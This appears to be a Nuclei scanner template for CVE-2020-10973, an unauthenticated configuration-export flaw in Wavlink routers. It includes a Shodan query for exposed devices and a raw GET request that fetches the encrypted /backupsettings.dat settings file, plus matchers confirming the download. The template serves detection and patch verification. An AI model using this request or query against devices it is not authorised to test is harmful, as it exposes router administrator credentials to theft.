54 lines
1.7 KiB
YAML
54 lines
1.7 KiB
YAML
id: CVE-2020-10973
|
|
|
|
info:
|
|
name: WAVLINK - Access Control
|
|
author: arafatansari
|
|
severity: high
|
|
description: |
|
|
Wavlink WN530HG4, WN531G3, WN533A8, and WN551K are susceptible to improper access control via /cgi-bin/ExportAllSettings.sh, where a crafted POST request returns the current configuration of the device, including the administrator password. No authentication is required. The attacker must perform a decryption step, but all decryption information is readily available.
|
|
remediation: |
|
|
Apply the latest firmware update provided by the vendor to fix the access control issue.
|
|
reference:
|
|
- https://github.com/sudo-jtcsec/CVE/blob/master/CVE-2020-10973
|
|
- https://github.com/sudo-jtcsec/Nyra
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-10973
|
|
- https://github.com/Roni-Carta/nyra
|
|
- https://github.com/sudo-jtcsec/CVE/blob/master/CVE-2020-10973-affected_devices
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2020-10973
|
|
cwe-id: CWE-306
|
|
epss-score: 0.04225
|
|
epss-percentile: 0.91232
|
|
cpe: cpe:2.3:o:wavlink:wn530hg4_firmware:m30hg4.v5030.191116:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: wavlink
|
|
product: wn530hg4_firmware
|
|
shodan-query: http.html:"Wavlink"
|
|
tags: cve,cve2020,exposure,wavlink
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /backupsettings.dat HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- 'Salted__'
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- application/octet-stream
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|